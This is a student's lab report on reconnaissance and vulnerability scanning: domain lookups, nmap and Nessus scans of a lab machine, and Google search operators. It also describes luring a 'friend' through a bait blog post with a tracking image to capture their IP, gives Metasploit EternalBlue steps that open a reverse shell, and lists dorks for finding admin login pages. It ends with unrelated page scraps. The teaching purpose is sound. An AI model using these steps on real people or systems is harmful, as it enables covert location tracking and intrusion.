20232402 2025-2026-1 《网络与系统攻防技术》实验五实验报告
1.实验内容
1.1 域名与IP信息查询
用whois、dig、nslookup、traceroute/tracert及在线工具查询baidu.com，获取DNS注册人及联系方式，域名对应IP地址，IP注册人、联系方式及所属国家/城市/具体位置。
1.2 好友IP与地理位置获取
获取论坛/QQ好友IP，查询其具体地理位置。
1.3 Nmap靶机扫描
用Nmap判断靶机IP是否活跃，探测开放的TCP/UDP端口，识别靶机操作系统及版本，查靶机安装的服务。
1.4 Nessus靶机安全扫描
用Nessus获取靶机开放端口，检测各端口服务存在的安全漏洞，提出攻陷靶机以获取系统访问权的思路。
1.5 个人信息搜索与Google Hack练习
用搜索引擎查个人网络足迹，确认隐私泄露情况；掌握至少10种Google Hack搜索方法并实践。
2.实验过程
2.1 域名信息查询（以baidu.com为例）
2.1.1 使用WHOIS查询DNS注册人及联系方式
WHOIS 协议用于查询域名的注册信息。whois baidu.com。
2.1.2 使用dig和nslookup查询域名对应IP地址
dig和nslookup均为DNS解析工具，dig可显示更详细的DNS记录，nslookup操作更简洁。dig baidu.com A（A记录用于查询域名对应的IPv4地址），输出结果中“ANSWER SECTION”下的IP地址即为目标IP。
（2）nslookup工具查询：nslookup baidu.com，输出的“Address”字段即为域名对应的IP地址。
2.1.3 使用traceroute/tracert追踪路由
在kali中输入traceroute baidu.com，功能与tracert一致。底层协议略有差异，tracert用ICMP，traceroute默认用UDP。
2.1.4 查询IP地址注册人、联系方式及地理位置（使用在线工具）
在线IP数据库整合了IP分配机构、地理信息等数据，可快速查询IP的归属信息，补充命令行工具无法直接获取的地理细节。
2.2 获取好友IP及地理位置
2.2.1 论坛（以博客园为例）
（1）获取追踪代码 标签内的 <img> 元素，其 src 属性值即为追踪图片链接，格式为：<a href="https://c.statcounter.com/%5B%E4%BD%A0%E7%9A%84%E9%A1%B9%E7%9B%AEID%5D/0/%5B%E4%BD%A0%E7%9A%84%E5%AE%89%E5%85%A8%E7%A0%81%5D/1/%E3%80%82%E5%A4%8D%E5%88%B6%E6%AD%A4%E9%93%BE%E6%8E%A5%E3%80%82" target="_blank">https://c.statcounter.com/[你的项目ID]/0/[你的安全码]/1/。复制此链接。</a><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116160528249-237886797.png" alt="image" loading="lazy"></p>
<p>（2）部署诱饵随笔<br>
进入“我的博客” -> “管理” -> “写随笔”。撰写一篇具有吸引力的博文标题和内容（这里为了防止诱饵软件传播就命名为诱饵随笔了）。将第一步中复制的 StatCounter 追踪图片链接粘贴进去，完成插入。发布该篇博文。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116160551318-1399431909.png" alt="image" loading="lazy"></p>
<p>（3）诱导访问与数据捕获<br>
将已发布的博文链接发送给目标好友，使用合理的理由诱导其点击链接并访问。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116155503403-1602341219.png" alt="image" loading="lazy"><br>
（这里发给了我自己的另一个号）<br>
登录 StatCounter 后台，进入项目。定位到产生的访问记录，并从中找到其 “IP Address”。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116155750529-1397862648.png" alt="image" loading="lazy"><br>
最上面这个ip就是我刚刚点开的手机（天我好厉害哦）</p>
<h4 id="221-qq">2.2.1 QQ</h4>
<p>QQ采用P2P通信与服务器中转结合的方式，用电脑给另一个QQ号发送文件，此时双方可能绕过服务器直接通信，从而建立短暂的P2P连接。<br>
使用Wireshark抓包，在抓包过滤栏输入<code>(tcp.port >= 10000) and (tcp.flags.syn==1 and tcp.flags.ack==0)</code>这个过滤器专门寻找在高端口上发起的TCP三次握手的第一包（SYN）。在发起文件传输后出现的、符合此条件的新连接，极有可能就是目标。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116104905066-1751129464.png" alt="image" loading="lazy"><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116104939715-611880091.png" alt="image" loading="lazy"><br>
结果中可以看到两股SYN洪流，第一股洪流（116.130.220.28:8081）出现在时间点 27.81s 到 29.01s 之间，在短短约1.2秒内，从主机（192.168.3.164）向该IP的8081端口连续发起了 3个SYN包。第二股、更猛烈的洪流（125.36.181.195:8081）从时间点 34.09s 开始，持续了相当长的时间。主机向该IP的8081端口发起了数十个SYN包。同一目标IP和端口，短时间内大量新连接请求是P2P多线程下载或文件分块传输的典型特征。<br>
且这两个可疑IP使用的都是 8081 端口。8081端口不是一个常见的网页端口（80/443），但常被用于各种代理服务、内部应用以及一些P2P服务的数据传输。所以我们初步确定这两个ip就是QQ文件传输的ip。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116105726076-778980855.png" alt="image" loading="lazy"><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116105742183-206703471.png" alt="image" loading="lazy"><br>
可我发现这两个IP都在天津，但手机在北京，说明QQ文件传输没有成功建立点对点直连，而是使用了腾讯的中继服务器进行转发。</p>
<h3 id="23-使用nmap扫描靶机">2.3 使用nmap扫描靶机</h3>
<p><img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116171857570-970245044.png" alt="image" loading="lazy"><br>
靶机ip为192.168.43.108</p>
<h4 id="231-检测靶机ip是否活跃">2.3.1 检测靶机IP是否活跃</h4>
<p>在Kali终端输入<code>nmap -sn 192.168.43.108</code></p>
<blockquote>
<p><code>-sn</code>参数表示仅进行主机发现（不扫描端口），通过发送ICMP echo请求、TCP SYN/ACK包等方式检测目标是否在线，避免因端口扫描触发靶机防御机制。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116210907276-350393425.png" alt="image" loading="lazy"><br>
输出“Host is up (0.001s latency)”，说明靶机活跃。</p>
</blockquote>
<h4 id="232-扫描开放的tcp和udp端口">2.3.2 扫描开放的TCP和UDP端口</h4>
<ul>
<li>TCP端口扫描：<br>
<code>nmap -sS 192.168.43.108</code>（SYN半开扫描，隐蔽性强，适合检测开放的TCP端口）<br>
输入命令后，nmap会向靶机各TCP端口发送SYN包，若收到SYN-ACK响应则判断端口开放，输出结果中“open”状态的端口即为开放的TCP端口。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116205330656-1121359341.png" alt="image" loading="lazy"></li>
<li>UDP端口扫描：<br>
<code>nmap -sU 192.168.43.108</code>（UDP扫描，用于检测UDP端口）<br>
输入命令后，nmap向靶机UDP端口发送数据包，若收到响应则判断端口开放（UDP无握手过程，扫描速度较慢），结果中“open”状态的端口即为开放的UDP端口。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116205501417-1805279353.png" alt="image" loading="lazy"></li>
</ul>
<h4 id="233-探测靶机操作系统及版本">2.3.3 探测靶机操作系统及版本</h4>
<p><code>nmap -O -sV 192.168.43.108</code></p>
<blockquote>
<p><code>-O</code>参数启用操作系统探测，<code>-sV</code>参数探测服务版本，两者结合可通过服务特征（如Windows的SMB服务版本）辅助确认操作系统信息，提高准确性。<br>
输入命令后，nmap通过分析靶机的TCP/IP指纹（如TTL值、端口响应方式、服务banner等），结合内置数据库判断操作系统类型及版本。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116210100883-1154142870.png" alt="2a8cd348070adbb996411b962e0d5cd9" loading="lazy"></p>
</blockquote>
<h4 id="234-检测靶机安装的服务">2.3.4 检测靶机安装的服务</h4>
<p><code>nmap -sV 192.168.43.108</code></p>
<blockquote>
<p>服务版本信息是漏洞扫描的关键，<code>-sV</code>参数通过应用层探测，比仅通过端口号猜测服务更精准。<br>
输入命令后，nmap会向开放端口发送特定探测包，根据返回的服务banner信息识别服务类型及版本。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116210718243-267826460.png" alt="6260904b4dcdaa92955858b4cc9e0868" loading="lazy"></p>
</blockquote>
<h3 id="24-使用nessus扫描靶机靶机ip19216843108">2.4 使用Nessus扫描靶机（靶机IP：192.168.43.108）</h3>
<h4 id="241-前期准备">2.4.1 前期准备</h4>
<p>在Kali Linux中安装Nessus（官网下载对应版本，按提示完成安装和激活，更新插件库）。</p>
<p>下载链接https://www.tenable.com/downloads/nessus?loginAttempted=true<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251115150239003-163879706.png" alt="image" loading="lazy"></p>
<p>复制curl粘贴到kali里</p>
<pre><code>curl --request GET \--url 'https://www.tenable.com/downloads/api/v2/pages/nessus/files/Nessus-10.10.1-debian10_amd64.deb' \--output 'Nessus-10.10.1-debian10_amd64.deb'
</code></pre>
<p><img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251115150311277-21169936.png" alt="image" loading="lazy"></p>
<p>使用 dpkg 安装 Nessus 包<br>
<code>sudo dpkg -i Nessus-10.10.1-debian10_amd64.deb</code><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251115151305960-1177460571.png" alt="image" loading="lazy"></p>
<p>执行命令sudo dpkg -i Nessus-xxx-debian_amd64.deb（将文件名替换为实际下载的安装包名称）完成安装。<br>
执行sudo systemctl start nessusd启动服务，再执行sudo systemctl enable nessusd设置开机自启动。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116220744183-1531420099.png" alt="image" loading="lazy"></p>
<p>在 Kali 中查看 IP 地址（ip addr命令），通过浏览器访问https://Kali的IP:8834，选择Nessus Scanner，点击Skip后选择Register Offline，复制生成的挑战码。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116221247071-889322878.png" alt="image" loading="lazy"></p>
<p>到离线注册页粘贴挑战码和激活码，下载插件包all-2.0.tar.gz，并上传到 Kali 的/root目录下。<br>
执行命令sudo /opt/nessus/sbin/nessuscli update /root/all-2.0.tar.gz安装插件，完成后执行sudo systemctl restart nessusd重启服务。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116223917519-1150830299.png" alt="image" loading="lazy"><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116223943964-332252354.png" alt="image" loading="lazy"></p>
<p>首次访问时需创建登录账号（用户名和密码），之后 Nessus 会自动处理插件编译等后台操作，稍等片刻即可进入主界面，开始创建扫描任务进行漏洞扫描实验。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116224107137-1402499334.png" alt="image" loading="lazy"></p>
<h4 id="242-扫描靶机开放端口">2.4.2 扫描靶机开放端口</h4>
<p>Nessus通过多轮端口探测（包括全连接、半开扫描），可更全面地识别开放端口，尤其能绕过部分简单防火墙规则。</p>
<ul>
<li>在扫描任务设置中，“Name”填写任务名称（如“Target Scan”），“Targets”输入靶机IP（192.168.43.108），点击“Save”保存配置。</li>
<li>点击“Run”启动扫描，等待扫描完成后，进入扫描结果页面，切换到“Ports/Hosts”标签，查看所有开放的TCP和UDP端口。</li>
</ul>
<h4 id="243-检测端口服务的安全漏洞">2.4.3 检测端口服务的安全漏洞</h4>
<p>Nessus通过插件库匹配服务版本与已知漏洞库（如CVE数据库），可自动化识别漏洞，比手动比对更高效准确。</p>
<ul>
<li>扫描完成后，切换到“Vulnerabilities”标签，按风险等级（Critical/High/Medium/Low）排序查看漏洞。</li>
<li>每个漏洞条目包含：端口号、服务名称、漏洞描述（如“CVE-2017-0144 永恒之蓝漏洞”）、风险等级、受影响版本及修复建议。<br>
示例：若靶机445端口（SMB服务）存在永恒之蓝漏洞，会显示“Remote Code Execution Vulnerability in Microsoft SMBv1 Server”。</li>
</ul>
<h4 id="24-攻陷靶机的思路基于漏洞">2.4 攻陷靶机的思路（基于漏洞）</h4>
<p>永恒之蓝漏洞允许远程攻击者通过SMBv1协议执行任意代码，结合Metasploit的攻击模块可快速利用漏洞获取系统访问权，是针对旧版本Windows系统的经典攻击方式。</p>
<ol>
<li>确认靶机445端口开放且存在MS17-010漏洞（Nessus扫描结果验证）。</li>
<li>在Kali中打开Metasploit（输入<code>msfconsole</code>），加载攻击模块：<code>use exploit/windows/smb/ms17_010_eternalblue</code>。</li>
<li>设置靶机IP：<code>set RHOSTS 192.168.1.105</code>，设置本地攻击机IP（用于接收反弹shell）：<code>set LHOST 192.168.1.100</code>（攻击机IP）。</li>
<li>执行攻击：<code>exploit</code>，成功后将获得靶机的系统权限（如NT AUTHORITY\SYSTEM）。</li>
</ol>
<h3 id="25-个人网上足迹查询与google-hack练习">2.5 个人网上足迹查询与Google Hack练习</h3>
<h4 id="251-个人网上足迹与隐私泄露查询">2.5.1 个人网上足迹与隐私泄露查询</h4>
<p>（1）浏览器本地足迹检查：</p>
<ul>
<li>打开常用浏览器（Chrome/Edge），按<code>Ctrl+H</code>查看浏览历史，确认是否有敏感网站访问记录。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116190607614-1333426766.png" alt="image" loading="lazy"><br>
没有哦</li>
<li>检查浏览器保存的密码：进入“设置-密码”（Chrome），查看是否有未加密保存的账号密码。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116191830785-1567981120.png" alt="image" loading="lazy"><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116191926512-1804375111.png" alt="image" loading="lazy"><br>
看来我有点懒qwq，有重用。但是都是密文保存。</li>
<li>查看自动填充信息：进入“设置-自动填充”，确认是否保存敏感信息。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116192106821-1952751927.png" alt="image" loading="lazy"><br>
这个也有。</li>
</ul>
<p>（2）搜索引擎检索：<br>
在百度中输入自己的姓名、手机号、邮箱、常用昵称，查看搜索结果是否包含社交账号（微博、知乎）、论坛发言、旧版简历等。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116192600568-740888690.png" alt="image" loading="lazy"><br>
均没搜到</p>
<p>（3）第三方平台核查：</p>
<ul>
<li>访问社交平台（微信朋友圈、QQ空间），检查公开内容是否包含敏感信息（如行程、家庭照片）。</li>
<li>使用“Cover Your Tracks”（<a href="https://coveryourtracks.eff.org/%EF%BC%89%E6%A3%80%E6%B5%8B%E6%B5%8F%E8%A7%88%E5%99%A8%E6%8C%87%E7%BA%B9%E3%80%82" target="_blank">https://coveryourtracks.eff.org/）检测浏览器指纹。</a><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116193009120-1470141750.png" alt="image" loading="lazy"><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116193042768-1750245323.png" alt="image" loading="lazy"></li>
</ul>
<h4 id="252-google-hack-10种搜索方法练习">2.5.2 Google Hack 10种搜索方法练习</h4>
<p>Google Hack通过特殊语法精确控制搜索范围，可快速定位特定类型的信息，常用于信息收集、资源查找或网络安全领域的公开信息探测。<br>
（1） 精确匹配（引号）：</p>
<ul>
<li>语法：<code>"关键词"</code>（英文引号）</li>
<li>示例：<code>"北京电子科技学院 地址"</code></li>
<li>作用：强制搜索引擎返回包含完整短语的结果，排除关键词拆分的无关页面。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116193516755-1485870091.png" alt="image" loading="lazy"></li>
</ul>
<p>（2）限定网站（site）：</p>
<ul>
<li>语法：<code>关键词 site:域名</code></li>
<li>示例：<code>网络安全 site:edu.cn</code></li>
<li>作用：仅搜索指定域名下的内容，如.edu.cn可筛选教育机构网页，提高结果相关性。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116193807142-727876371.png" alt="image" loading="lazy"></li>
</ul>
<p>（3）限定文件类型（filetype）：</p>
<ul>
<li>语法：<code>关键词 filetype:格式</code></li>
<li>示例：<code>北京电子科技学院 filetype:pdf</code></li>
<li>作用：仅返回指定格式的文件（如pdf、doc），便于查找文档类资源。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116193857074-401994185.png" alt="image" loading="lazy"></li>
</ul>
<p>（4）标题包含关键词（intitle）：</p>
<ul>
<li>语法：<code>intitle:关键词</code></li>
<li>示例：<code>intitle:管理员登录</code></li>
<li>作用：筛选标题中包含关键词的网页，常用于查找网站后台登录页（标题多含“登录”“admin”）。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116193932001-1513576392.png" alt="image" loading="lazy"></li>
</ul>
<p>（5）正文包含关键词（intext）：</p>
<ul>
<li>语法：<code>intext:关键词</code></li>
<li>示例：<code>intext:用户密码重置</code></li>
<li>作用：仅返回正文中包含关键词的页面，比普通搜索更精准定位内容。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116194010318-1554640494.png" alt="image" loading="lazy"></li>
</ul>
<p>（6）排除关键词（-）：</p>
<ul>
<li>语法：<code>关键词 -排除词</code></li>
<li>示例：<code>苹果 -水果</code></li>
<li>作用：排除包含“排除词”的结果，如搜索“苹果”时排除水果相关内容，专注于苹果公司信息。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116194552377-305523658.png" alt="image" loading="lazy"><br>
（效果不太显著）</li>
</ul>
<p>（7）URL包含关键词（inurl）：</p>
<ul>
<li>语法：<code>inurl:关键词</code></li>
<li>示例：<code>inurl:upload</code></li>
<li>作用：筛选URL中包含关键词的页面，如“upload”可能对应文件上传功能页面。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116194628595-1930677194.png" alt="image" loading="lazy"></li>
</ul>
<p>（8）缓存页面（cache）：</p>
<ul>
<li>语法：<code>cache:网址</code></li>
<li>示例：<code>cache:www.besti.edu.cn</code></li>
<li>作用：查看搜索引擎保存的网页缓存版本，适用于原页面已删除或无法访问的情况。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116194712790-1890988689.png" alt="image" loading="lazy"></li>
</ul>
<p>（9）指定数字范围（..）：</p>
<ul>
<li>语法：<code>关键词 数字1..数字2</code></li>
<li>示例：<code>笔记本电脑 3000..5000</code></li>
<li>作用：限定数值范围，如价格、年份，快速筛选符合条件的结果。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116194742945-817016592.png" alt="image" loading="lazy"></li>
</ul>
<p>（10）多关键词并列（OR）：<br>
- 语法：<code>关键词1 OR 关键词2</code>（OR需大写）<br>
- 示例：<code>Linux OR Windows 防火墙配置</code><br>
- 作用：返回包含关键词1或关键词2的结果，扩大搜索范围，适用于相关主题的并列查询。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251116194849013-1559662180.png" alt="image" loading="lazy"></p>
<h2 id="3问题及解决方案">3.问题及解决方案</h2>
<ul>
<li>问题1：<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251115160443446-1834036852.png" alt="image" loading="lazy"><br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251115160938336-651706368.png" alt="image" loading="lazy"></li>
<li>问题1解决方案：<br>
从 <code>df -h</code> 命令的输出可以看到，系统的根分区（<code>/dev/sda1</code>）已经完全占满，这正是导致 Nessus 插件更新失败的核心原因。在删了许多内容无果后，我打算为虚拟机增加磁盘大小。<br>
找到磁盘。<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251115162059283-1574578869.png" alt="image" loading="lazy"></li>
</ul>
<p>工具选介质->选磁盘->拉到45G->点应用<br>
<img src="https://img2024.cnblogs.com/blog/3709413/202511/3709413-20251115162438137-1208887977.png" alt="image" loading="lazy"></p>
<p>结果是分盘工具都没空间下载了。故重建一个虚拟机。</p>
<h2 id="4学习感悟思考等">4.学习感悟、思考等</h2>
<p>真的要先看一眼实验再下载工具！我想着工具下载需要时间，就先去下载nusses再开始从头做实验，结果鼓捣了半天装在了windows上，做实验的时候意识到我打算用win为靶机、kali为攻击机，所以应该在kali上装nusses（不嘻嘻）。另外吐槽一下装nusses真的好麻烦，各种激活码、验证码，各种填信息、认证的，一不小心就搞错了。而且编译插件也要等好久。<br>
虚拟机使用过程中磁盘分区被占满了，满到连分区软件都装不下了，无奈只好删掉冗余的python2.7，然后我的下载功能就坏掉了，原因是缺python的某个依赖。无奈只好重建一个虚拟机。下次建虚拟机的时候磁盘一定要设大一点qwq（多么痛的领悟~）。<br>
做实验总是遇到一些奇奇怪怪的问题，总的来说这次实验花费时间还是比较久的，但是也收获了很多，我第一次用社会工程学“骗”到别人（自己小号）的ip，好有意思，也掌握了不少工具的使用。</p>
<h2 id="参考资料">参考资料</h2>
<ul>
<li><a href="https://blog.csdn.net/Javachichi/article/details/135905636" target="_blank">2024版最新网络漏洞扫描工具Nessus保姆式安装方法</a></li>
<li><a href="https://blog.csdn.net/weixin_43897590/article/details/145009954" target="_blank">virtualbox中为虚拟机增加磁盘大小，并解决centos系统/dev/mapper/centos-root目录被占满问题</a></li>
</ul>
Tools(Function Calling))
)
![题解：P14452 [ICPC 2025 Xian R] Follow the Penguins](http://pic.xiahunao.cn/题解：P14452 [ICPC 2025 Xian R] Follow the Penguins)
